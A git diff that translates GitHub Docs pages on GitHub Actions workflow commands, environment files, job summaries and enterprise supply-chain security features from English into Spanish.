depuración](/actions/managing-workflow-runs/enabling-debug-logging)". ```{:copy} ::debug::{message} ``` -### Example: Setting a debug message +### Ejemplo: Configurar un mensaje de depuración {% bash %} @@ -216,9 +207,9 @@ Write-Output "::debug::Set the Octocat variable" {% endpowershell %} -## Setting a notice message +## Configurar un mensaje de aviso -Creates a notice message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} +Crea un mensaje de aviso e imprime el mensaje en la bitácora. {% data reusables.actions.message-annotation-explanation %} ```{:copy} ::notice file={name},line={line},endLine={endLine},title={title}::{message} @@ -226,7 +217,7 @@ Creates a notice message and prints the message to the log. {% data reusables.ac {% data reusables.actions.message-parameters %} -### Example: Setting a notice message +### Ejemplo: configurar un mensaje de notificación {% bash %} @@ -244,9 +235,9 @@ Write-Output "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon" {% endpowershell %} -## Setting a warning message +## Configurar un mensaje de advertencia -Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} +Crea un mensaje de advertencia e imprime el mensaje en el registro. {% data reusables.actions.message-annotation-explanation %} ```{:copy} ::warning file={name},line={line},endLine={endLine},title={title}::{message} @@ -254,7 +245,7 @@ Creates a warning message and prints the message to the log. {% data reusables.a {% data reusables.actions.message-parameters %} -### Example: Setting a warning message +### Ejemplo: Configurar un mensaje de advertencia {% bash %} @@ -271,9 +262,9 @@ Write-Output "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon" {% endpowershell %} -## Setting an error message +## Configurar un mensaje de error -Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} +Crea un mensaje de error e imprime el mensaje en el registro. {% data reusables.actions.message-annotation-explanation %} ```{:copy} ::error file={name},line={line},endLine={endLine},title={title}::{message} @@ -281,7 +272,7 @@ Creates an error message and prints the message to the log. {% data reusables.ac {% data reusables.actions.message-parameters %} -### Example: Setting an error message +### Ejemplo: Configurar un mensaje de error {% bash %} @@ -299,16 +290,16 @@ Write-Output "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon" {% endpowershell %} -## Grouping log lines +## Agrupar líneas de las bitácoras -Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log. +Crea un grupo expansible en la bitácora. Para crear un grupo, use el comando `group` y especifique `title`. Todo lo que imprima en el registro entre los comandos `group` y `endgroup` se anida dentro de una entrada expandible en el registro. ```{:copy} ::group::{title} ::endgroup:: ``` -### Example: Grouping log lines +### Ejemplo: Agrupar líneas de bitácoras {% bash %} @@ -342,19 +333,19 @@ jobs: {% endpowershell %} -![Foldable group in workflow run log](/assets/images/actions-log-group.png) +![Grupo plegable en la bitácora de una ejecución de flujo de trabajo](/assets/images/actions-log-group.png) -## Masking a value in log +## Enmascarar un valor en el registro ```{:copy} ::add-mask::{value} ``` -Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`. When you mask a value, it is treated as a secret and will be redacted on the runner. For example, after you mask a value, you won't be able to set that value as an output. +El enmascaramiento de un valor impide que una cadena o variable se imprima en el registro. Cada palabra enmascarada separada por un espacio en blanco se reemplaza con el carácter `*`. Puede usar una variable de entorno o una cadena para el valor `value` de la máscara. Al enmascarar un valor, se trata como un secreto y se oculta en el ejecutor. Por ejemplo, después de enmascarar un valor, no podrá establecerlo como salida. -### Example: Masking a string +### Ejemplo: Enmascarar una secuencia -When you print `"Mona The Octocat"` in the log, you'll see `"***"`. +Al imprimir `"Mona The Octocat"` en el registro, verá `"***"`. {% bash %} @@ -374,13 +365,13 @@ Write-Output "::add-mask::Mona The Octocat" {% warning %} -**Warning:** Make sure you register the secret with 'add-mask' before outputting it in the build logs or using it in any other workflow commands. +**Advertencia:** asegúrate de registrar el secreto con "add-mask" antes de generarlo en los registros de compilación o usarlo en cualquier otro comando de flujo de trabajo. {% endwarning %} -### Example: Masking an environment variable +### Ejemplo: Enmascarar una variable de ambiente -When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`. +Al imprimir la variable `MY_NAME` o el valor `"Mona The Octocat"` en el registro, verá `"***"` en lugar de `"Mona The Octocat"`. {% bash %} @@ -412,19 +403,19 @@ jobs: {% endpowershell %} -## Stopping and starting workflow commands +## Detener e iniciar comandos de flujo de trabajo -Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments. +Deja de procesar cualquier comando de flujo de trabajo. Este comando especial te permite registrar lo que sea sin ejecutar accidentalmente un comando de flujo de trabajo. Por ejemplo, podrías dejar de registrar para producir un script completo que tenga comentarios. ```{:copy} ::stop-commands::{endtoken} ``` -To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands. +Para detener el procesamiento de los comandos de flujo de trabajo, pase un token único a `stop-commands`. Para resumir los comandos de flujo de trabajo de procesamiento, pasa el mismo token que utilizaste para detener los comandos de flujo de trabajo. {% warning %} -**Warning:** Make sure the token you're using is randomly generated and unique for each run. +**Advertencia:** Asegúrese de que el token que usa se genera aleatoriamente y es único para cada ejecución. {% endwarning %} @@ -432,7 +423,7 @@ To stop the processing of workflow commands, pass a unique token to `stop-comman ::{endtoken}:: ``` -### Example: Stopping and starting workflow commands +### Ejemplo: Parar e iniciar comandos de flujos de trabajo {% bash %} @@ -479,22 +470,22 @@ jobs: {% endpowershell %} {% ifversion actions-save-state-set-output-envs %}{% else %} -## Echoing command outputs +## Hacer eco en las salidas de comando -Enables or disables echoing of workflow commands. For example, if you use the `set-output` command in a workflow, it sets an output parameter but the workflow run's log does not show the command itself. If you enable command echoing, then the log shows the command, such as `::set-output name={name}::{value}`. +Habilita o inhabilita el hacer eco en los comandos de los flujos de trabajo. Por ejemplo, si usa el comando `set-output` en un flujo de trabajo, establece un parámetro de salida pero el registro de la ejecución de flujo de trabajo no muestra el propio comando. Si habilita el eco de comandos, el registro muestra el comando, como `::set-output name={name}::{value}`. ```{:copy} ::echo::on ::echo::off ``` -Command echoing is disabled by default. However, a workflow command is echoed if there are any errors processing the command. +El eco de comando se encuentra inhabilitado predeterminadamente. Sin embargo, los comandos de flujo de trabajo hacen eco si existen errores para procesarlos. -The `add-mask`, `debug`, `warning`, and `error` commands do not support echoing because their outputs are already echoed to the log. +Los comandos `add-mask`, `debug`, `warning` y `error` no admiten el eco, porque sus salidas ya se han reproducido en el registro. -You can also enable command echoing globally by turning on step debug logging using the `ACTIONS_STEP_DEBUG` secret. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)". In contrast, the `echo` workflow command lets you enable command echoing at a more granular level, rather than enabling it for every workflow in a repository. +También puede habilitar el eco de comandos globalmente si activa el registro de depuración de pasos mediante el secreto `ACTIONS_STEP_DEBUG`. Para más información, vea "[Habilitación del registro de depuración](/actions/managing-workflow-runs/enabling-debug-logging)". Por el contrario, el comando de flujo de trabajo `echo` permite habilitar el eco de comandos en un nivel más granular, en vez de habilitarlo para cada flujo de trabajo en un repositorio. -### Example: Toggling command echoing +### Ejemplo: Alternar el eco de comandos {% bash %} @@ -532,27 +523,26 @@ jobs: {% endpowershell %} -The example above prints the following lines to the log: +El ejemplo anterior imprime las siguientes líneas en la bitácora: ```{:copy} ::set-output name=action_echo::enabled ::echo::off ``` -Only the second `set-output` and `echo` workflow commands are included in the log because command echoing was only enabled when they were run. Even though it is not always echoed, the output parameter is set in all cases. +Solo los segundos comandos de flujo de trabajo `set-output` y `echo` se incluyen en el registro, porque el eco de comandos solo se ha habilitado al ejecutarlos. Aunque no siempre hace eco, el parámetro de salida se configura en todos los casos. {% endif %} -## Sending values to the pre and post actions +## Enviar valores a las acciones pre y post -{% ifversion actions-save-state-set-output-envs %}You can create environment variables for sharing with your workflow's `pre:` or `post:` actions by writing to the file located at `GITHUB_STATE`{% else %}You can use the `save-state` command to create environment variables for sharing with your workflow's `pre:` or `post:` actions{% endif %}. For example, you can create a file with the `pre:` action, pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file. +{% ifversion actions-save-state-set-output-envs %} Puedes crear variables de entorno para compartirlas con las acciones `pre:` o `post:` del flujo de trabajo, escribiendo para ello en el archivo ubicado en `GITHUB_STATE`.{% else %}Puedes usar el comando `save-state` para crear variables de entorno para compartirlas con las acciones `pre:` o `post:` del flujo de trabajo{% endif %}. Por ejemplo, puede crear un archivo con la acción `pre:`, pasar la ubicación del archivo a la acción `main:` y, después, usar la acción `post:` para eliminar el archivo. Como alternativa, podría crear un archivo con la acción `main:`, pasar la ubicación del archivo a la acción `post:` y también usar la acción `post:` para eliminar el archivo. -If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where {% ifversion actions-save-state-set-output-envs %}it was written to `GITHUB_STATE`{% else %}`save-state` was used{% endif %}. For more information on the `post:` action, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runspost)." +Si tienes varias acciones `pre:` o `post:`, solo podrás acceder al valor guardado en la acción donde {% ifversion actions-save-state-set-output-envs %}se escribió en `GITHUB_STATE`{% else %}se usó `save-state`{% endif %}. Para más información sobre la acción `post:`, vea "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runspost)". -{% ifversion actions-save-state-set-output-envs %}The `GITHUB_STATE` file is only available within an action{% else %}The `save-state` command can only be run within an action, and is not available to YAML files{% endif %}. The saved value is stored as an environment value with the `STATE_` prefix. +{% ifversion actions-save-state-set-output-envs %}El archivo `GITHUB_STATE` solo está disponible dentro de una acción{% else %}El comando `save-state` solo se puede ejecutar dentro de una acción y no está disponible para los archivos YAML{% endif %}. El valor guardado se almacena como un valor de entorno con el prefijo `STATE_`. -{% ifversion actions-save-state-set-output-envs %} -This example uses JavaScript to write to the `GITHUB_STATE` file. The resulting environment variable is named `STATE_processID` with the value of `12345`: +{% ifversion actions-save-state-set-output-envs %} En este ejemplo se usa JavaScript para escribir en el archivo `GITHUB_STATE`. La variable de entorno resultante se denomina `STATE_processID` con el valor de `12345`: ```javascript{:copy} import * as fs from 'fs' @@ -563,31 +553,28 @@ fs.appendFileSync(process.env.GITHUB_STATE, `processID=12345${os.EOL}`, { }) ``` -{% else %} -This example uses JavaScript to run the `save-state` command. The resulting environment variable is named `STATE_processID` with the value of `12345`: +{% else %} En este ejemplo se usa JavaScript para ejecutar el comando `save-state`. La variable de entorno resultante se denomina `STATE_processID` con el valor de `12345`: ```javascript{:copy} console.log('::save-state name=processID::12345') ``` {% endif %} -The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable: +Después, la variable `STATE_processID` está disponible exclusivamente para el script de limpieza que se ejecuta en la acción `main`. Este ejemplo se ejecuta en `main` y usa JavaScript para mostrar el valor asignado a la variable de entorno `STATE_processID`: ```javascript{:copy} console.log("The running PID from the main action is: " + process.env.STATE_processID); ``` -## Environment files +## Archivos de ambiente -During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files are exposed via environment variables. You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines. - -Most commands in the following examples use double quotes for echoing strings, which will attempt to interpolate characters like `$` for shell variable names. To always use literal values in quoted strings, you can use single quotes instead. +Durante la ejecución de un flujo de trabajo, el ejecutor genera archivos temporales que pueden utilizarse para llevar a cabo ciertas acciones. La ruta a estos archivos se expone a través de variables de ambiente. Necesitarás utilizar codificación UTF-8 cuando escribas en estos archivos para garantizar el procesamiento adecuado de los comandos. Se pueden escribir varios comandos en el mismo archivo, separados por líneas nuevas. {% powershell %} {% note %} -**Note:** PowerShell versions 5.1 and below (`shell: powershell`) do not use UTF-8 by default, so you must specify the UTF-8 encoding. For example: +**Nota:** En las versiones 5.1 y posteriores de PowerShell (`shell: powershell`) no se usa UTF-8 de forma predeterminada, por lo que debe especificar la codificación UTF-8. Por ejemplo: ```yaml{:copy} jobs: @@ -599,7 +586,7 @@ jobs: "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append ``` -PowerShell Core versions 6 and higher (`shell: pwsh`) use UTF-8 by default. For example: +En las versiones 6 y superiores de PowerShell Core (`shell: pwsh`) se usa UTF-8 de forma predeterminada. Por ejemplo: ```yaml{:copy} jobs: @@ -615,7 +602,7 @@ jobs: {% endpowershell %} -## Setting an environment variable +## Configuración de una variable de entorno {% bash %} @@ -627,13 +614,13 @@ echo "{environment_variable_name}={value}" >> $GITHUB_ENV {% powershell %} -- Using PowerShell version 6 and higher: +- Utilizar PowerShell versión 6 y superior: ```pwsh{:copy} "{environment_variable_name}={value}" >> $env:GITHUB_ENV ``` -- Using PowerShell version 5.1 and below: +- Utilizar PowerShell versión 5.1 e inferior: ```powershell{:copy} "{environment_variable_name}={value}" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append @@ -641,9 +628,9 @@ echo "{environment_variable_name}={value}" >> $GITHUB_ENV {% endpowershell %} -You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the `GITHUB_ENV` environment file. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. The names of environment variables are case-sensitive, and you can include punctuation. For more information, see "[Environment variables](/actions/learn-github-actions/environment-variables)." +Puede hacer que una variable de entorno esté disponible en cualquier paso posterior de un trabajo de un flujo de trabajo si define o actualiza la variable de entorno, y lo escribe en el archivo de entorno `GITHUB_ENV`. El paso que crea o actualiza la variable de ambiente no tiene acceso al valor nuevo, pero todos los pasos subsecuentes en un job tendrán acceso. Los nombres de las variables de ambiente distinguen entre mayúsculas y minúsculas y puedes incluir signos de puntuación. Para más información, vea "[Variables de entorno](/actions/learn-github-actions/environment-variables)". -### Example +### Ejemplo {% bash %} @@ -681,9 +668,9 @@ steps: {% endpowershell %} -### Multiline strings +### Secuencias de línea múltiple -For multiline strings, you may use a delimiter with the following syntax. +Para las secuencias de lìnea mùltiple, puedes utilizar un delimitador con la siguiente sintaxis. ```{:copy} {name}<<{delimiter} @@ -693,13 +680,13 @@ For multiline strings, you may use a delimiter with the following syntax. {% warning %} -**Warning:** Make sure the delimiter you're using is randomly generated and unique for each run. For more information, see "[Understanding the risk of script injections](/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)". +**Advertencia:** Asegúrate de que el delimitador que usas se genera aleatoriamente y es único para cada ejecución. Para más información, consulta "[Descripción del riesgo de las inyecciones de scripts](/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)". {% endwarning %} -#### Example +#### Ejemplo -This example uses `EOF` as a delimiter, and sets the `JSON_RESPONSE` environment variable to the value of the `curl` response. +En este ejemplo se usa `EOF` como delimitador y se establece la variable de entorno `JSON_RESPONSE` en el valor de la respuesta `curl`. {% bash %} @@ -731,9 +718,9 @@ steps: {% endpowershell %} {% ifversion actions-save-state-set-output-envs %} -## Setting an output parameter +## Configurar un parámetro de salida -Sets a step's output parameter. Note that the step will need an `id` to be defined to later retrieve the output value. +Establece el parámetro de salida de un paso. Ten en cuenta en el paso hay que definir un `id` para recuperar el valor de salida posteriormente. {% bash %} @@ -750,11 +737,11 @@ echo "{name}={value}" >> $GITHUB_OUTPUT {% endpowershell %} -### Example +### Ejemplo {% bash %} -This example demonstrates how to set the `SELECTED_COLOR` output parameter and later retrieve it: +En este ejemplo se muestra cómo establecer el parámetro de salida `SELECTED_COLOR` y recuperarlo posteriormente: {% raw %} ```yaml{:copy} @@ -770,8 +757,7 @@ This example demonstrates how to set the `SELECTED_COLOR` output parameter and l {% powershell %} -{% raw %} -This example demonstrates how to set the `SELECTED_COLOR` output parameter and later retrieve it: +{% raw %} En este ejemplo se muestra cómo establecer el parámetro de salida `SELECTED_COLOR` y recuperarlo posteriormente: ```yaml{:copy} - name: Set color @@ -783,12 +769,11 @@ This example demonstrates how to set the `SELECTED_COLOR` output parameter and l ``` {% endraw %} -{% endpowershell %} -{% endif %} +{% endpowershell %} {% endif %} {% ifversion actions-job-summaries %} -## Adding a job summary +## Adición de un resumen de trabajos {% bash %} @@ -806,13 +791,13 @@ echo "{markdown content}" >> $GITHUB_STEP_SUMMARY {% endpowershell %} -You can set some custom Markdown for each job so that it will be displayed on the summary page of a workflow run. You can use job summaries to display and group unique content, such as test result summaries, so that someone viewing the result of a workflow run doesn't need to go into the logs to see important information related to the run, such as failures. +Puedes establecer Markdown personalizado para cada trabajo de modo que se muestre en la página de resumen de una ejecución de flujo de trabajo. Puedes usar resúmenes de trabajos para mostrar y agrupar contenido único, como resúmenes de resultados de pruebas, de modo que alguien que vea el resultado de una ejecución de flujo de trabajo no necesite ir a los registros para ver información importante relacionada con la ejecución, como errores. -Job summaries support [{% data variables.product.prodname_dotcom %} flavored Markdown](https://github.github.com/gfm/), and you can add your Markdown content for a step to the `GITHUB_STEP_SUMMARY` environment file. `GITHUB_STEP_SUMMARY` is unique for each step in a job. For more information about the per-step file that `GITHUB_STEP_SUMMARY` references, see "[Environment files](#environment-files)." +Los resúmenes de trabajos admiten [Markdown de tipo {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/) y puedes agregar el contenido de Markdown para un paso al archivo de entorno `GITHUB_STEP_SUMMARY`. `GITHUB_STEP_SUMMARY` es único para cada paso de un trabajo. Para obtener más información sobre el archivo por paso al que hace referencia `GITHUB_STEP_SUMMARY`, consulta "[Archivos de entorno](#environment-files)". -When a job finishes, the summaries for all steps in a job are grouped together into a single job summary and are shown on the workflow run summary page. If multiple jobs generate summaries, the job summaries are ordered by job completion time. +Cuando un trabajo finaliza, los resúmenes de todos los pasos de un trabajo se agrupan en un único resumen de trabajo y se muestran en la página resumen de ejecución del flujo de trabajo. Si varios trabajos generan resúmenes, estos se ordenan según la hora de finalización del trabajo. -### Example +### Ejemplo {% bash %} @@ -830,13 +815,13 @@ echo "### Hello world! :rocket:" >> $GITHUB_STEP_SUMMARY {% endpowershell %} -![Markdown summary example](/assets/images/actions-job-summary-simple-example.png) +![Ejemplo de resumen de Markdown](/assets/images/actions-job-summary-simple-example.png) -### Multiline Markdown content +### Contenido de Markdown multilínea -For multiline Markdown content, you can use `>>` to continuously append content for the current step. With every append operation, a newline character is automatically added. +En el caso de contenido de Markdown multilínea, puedes usar `>>` para anexar continuamente contenido al paso actual. Con cada operación de anexión, se agrega automáticamente un carácter de nueva línea. -#### Example +#### Ejemplo {% bash %} @@ -866,11 +851,11 @@ For multiline Markdown content, you can use `>>` to continuously append content {% endpowershell %} -### Overwriting job summaries +### Sobrescritura de resúmenes de trabajos -To clear all content for the current step, you can use `>` to overwrite any previously added content. +Para borrar todo el contenido del paso actual, puedes usar `>` para sobrescribir cualquier contenido agregado anteriormente. -#### Example +#### Ejemplo {% bash %} @@ -894,11 +879,11 @@ To clear all content for the current step, you can use `>` to overwrite any prev {% endpowershell %} -### Removing job summaries +### Eliminación de resúmenes de trabajos -To completely remove a summary for the current step, the file that `GITHUB_STEP_SUMMARY` references can be deleted. +Para quitar completamente un resumen del paso actual, se puede eliminar el archivo al que hace referencia `GITHUB_STEP_SUMMARY`. -#### Example +#### Ejemplo {% bash %} @@ -922,17 +907,17 @@ To completely remove a summary for the current step, the file that `GITHUB_STEP_ {% endpowershell %} -After a step has completed, job summaries are uploaded and subsequent steps cannot modify previously uploaded Markdown content. Summaries automatically mask any secrets that might have been added accidentally. If a job summary contains sensitive information that must be deleted, you can delete the entire workflow run to remove all its job summaries. For more information see "[Deleting a workflow run](/actions/managing-workflow-runs/deleting-a-workflow-run)." +Una vez que se ha completado un paso, se cargan los resúmenes de trabajo y los pasos posteriores no pueden modificar el contenido de Markdown cargado anteriormente. Los resúmenes enmascaran automáticamente los secretos que podrían haberse agregado de forma accidental. Si un resumen de trabajo contiene información confidencial que se debe eliminar, puedes eliminar toda la ejecución del flujo de trabajo para quitar todos sus resúmenes de trabajo. Para obtener más información, consulta "[Eliminación de una ejecución de flujo de trabajo](/actions/managing-workflow-runs/deleting-a-workflow-run)". -### Step isolation and limits +### Aislamiento y límites de pasos -Job summaries are isolated between steps and each step is restricted to a maximum size of 1MiB. Isolation is enforced between steps so that potentially malformed Markdown from a single step cannot break Markdown rendering for subsequent steps. If more than 1MiB of content is added for a step, then the upload for the step will fail and an error annotation will be created. Upload failures for job summaries do not affect the overall status of a step or a job. A maximum of 20 job summaries from steps are displayed per job. +Los resúmenes de trabajo están aislados entre los pasos y cada paso está restringido a un tamaño máximo de 1 MiB. Se aplica aislamiento entre los pasos para que el Markdown que podría tener un formato incorrecto en un paso no pueda interrumpir la representación de Markdown para los pasos posteriores. Si se agrega más de 1 MiB de contenido a un paso, se producirá un error en la carga del paso y se creará una anotación de error. Los errores de carga de resúmenes de trabajos no afectan al estado general de un paso o un trabajo. Se muestra un máximo de 20 resúmenes de trabajos de los pasos por trabajo. {% endif %} -## Adding a system path +## Agregar una ruta de sistema -Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action. +Antepone un directorio a la variable del sistema `PATH` y hace que esté disponible automáticamente para todas las acciones posteriores en el trabajo actual; la acción que está actualmente en ejecución no puede acceder a la variable de ruta actualizada. A fin de ver las rutas definidas actualmente para el trabajo, puede usar `echo "$PATH"` en un paso o una acción. {% bash %} @@ -949,11 +934,11 @@ echo "{path}" >> $GITHUB_PATH {% endpowershell %} -### Example +### Ejemplo {% bash %} -This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`: +En este ejemplo se muestra cómo agregar el directorio de usuario `$HOME/.local/bin` a `PATH`: ```bash{:copy} echo "$HOME/.local/bin" >> $GITHUB_PATH @@ -963,7 +948,7 @@ echo "$HOME/.local/bin" >> $GITHUB_PATH {% powershell %} -This example demonstrates how to add the user `$env:HOMEPATH/.local/bin` directory to `PATH`: +En este ejemplo se muestra cómo agregar el directorio de usuario `$env:HOMEPATH/.local/bin` a `PATH`: ```pwsh{:copy} "$env:HOMEPATH/.local/bin" >> $env:GITHUB_PATH diff --git a/translations/es-ES/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md b/translations/es-ES/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md index c984aebcab..047fc0e1b7 100644 --- a/translations/es-ES/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md +++ b/translations/es-ES/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md @@ -86,12 +86,12 @@ The {% data variables.product.prodname_codeql_cli %} is a command-line tool that {% ifversion codeql-runner-supported %} -## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %} +## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %} {% data reusables.code-scanning.deprecation-codeql-runner %} -If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}. +If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}. -The {% data variables.product.prodname_codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)." +The {% data variables.code-scanning.codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)." {% endif %} diff --git a/translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md b/translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md index f335036df9..20d7860456 100644 --- a/translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md +++ b/translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: About supply chain security for your enterprise -intro: You can enable features that help your developers understand and update the dependencies their code relies on. +title: Acerca de la seguridad de la cadena de suministro para la empresa +intro: Puedes habilitar características que ayuden a los desarrolladores a comprender y actualizar las dependencias en las que se basa tu código. shortTitle: About supply chain security permissions: '' versions: @@ -11,12 +11,17 @@ topics: - Enterprise - Security - Dependency graph +ms.openlocfilehash: edfa8c2abecfa4eb7dc797d1dac3a06827fff5d7 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/07/2022 +ms.locfileid: '148135699' --- - -You can allow users to identify their projects' dependencies by {% ifversion ghes %}enabling{% elsif ghae %}using{% endif %} the dependency graph for {% data variables.location.product_location %}. For more information, see "{% ifversion ghes %}[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% elsif ghae %}[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph){% endif %}." +Puedes permitir que los usuarios identifiquen las dependencias de sus proyectos mediante la {% ifversion ghes %}habilitación{% elsif ghae %}con{% endif %} el gráfico de dependencias para {% data variables.location.product_location %}. Para obtener más información, consulta "{% ifversion ghes %}[Habilitación del gráfico de dependencias para la empresa](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% elsif ghae %}[Acerca del gráfico de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph){% endif %}". {% data reusables.dependency-review.dependency-review-enabled-ghes %} -You can also allow users on {% data variables.location.product_location %} to find and fix vulnerabilities in their code dependencies by enabling {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} and {% data variables.product.prodname_dependabot_updates %}{% endif %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +También puedes permitir que los usuarios de {% data variables.location.product_location %} busquen y corrijan vulnerabilidades en sus dependencias de código habilitando {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} y {% data variables.product.prodname_dependabot_updates %}{% endif %}. Para obtener más información, consulte "[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)". -After you enable {% data variables.product.prodname_dependabot_alerts %}, you can view vulnerability data from the {% data variables.product.prodname_advisory_database %} on {% data variables.location.product_location %} and manually sync the data. For more information, see "[Viewing the vulnerability data for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise)." +Después de habilitar {% data variables.product.prodname_dependabot_alerts %}, puedes ver los datos de vulnerabilidad desde {% data variables.product.prodname_advisory_database %} en {% data variables.location.product_location %} y sincronizar manualmente los datos. Para obtener más información, consulta "[Visualización de los datos de vulnerabilidad de la empresa](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise)". diff --git a/translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md b/translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md index 2cd9bdd9f3..2e2306d43d 100644 --- a/translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md +++ b/translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enabling the dependency graph for your enterprise -intro: You can allow users to identify their projects' dependencies by enabling the dependency graph. +title: Habilitación del gráfico de dependencias para la empresa +intro: Puedes permitir que los usuarios identifiquen las dependencias de sus proyectos si habilitas el gráfico de dependencias. shortTitle: Enable dependency graph permissions: Site administrators can enable the dependency graph. versions: @@ -10,39 +10,36 @@ topics: - Enterprise - Security - Dependency graph +ms.openlocfilehash: 39fb5e8eb74518dc4614d5494ec04427b5e12399 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/07/2022 +ms.locfileid: '148135683' --- +## Acerca del gráfico de dependencias -## About the dependency graph - -{% data reusables.dependabot.about-the-dependency-graph %} For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)" +{% data reusables.dependabot.about-the-dependency-graph %} Para más información, vea "[Acerca del gráfico de dependencias](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)". {% data reusables.dependency-review.dependency-review-enabled-ghes %} -After you enable the dependency graph for your enterprise, you can enable {% data variables.product.prodname_dependabot %} to detect insecure dependencies in your repository{% ifversion ghes %} and automatically fix the vulnerabilities{% endif %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +Después de habilitar el gráfico 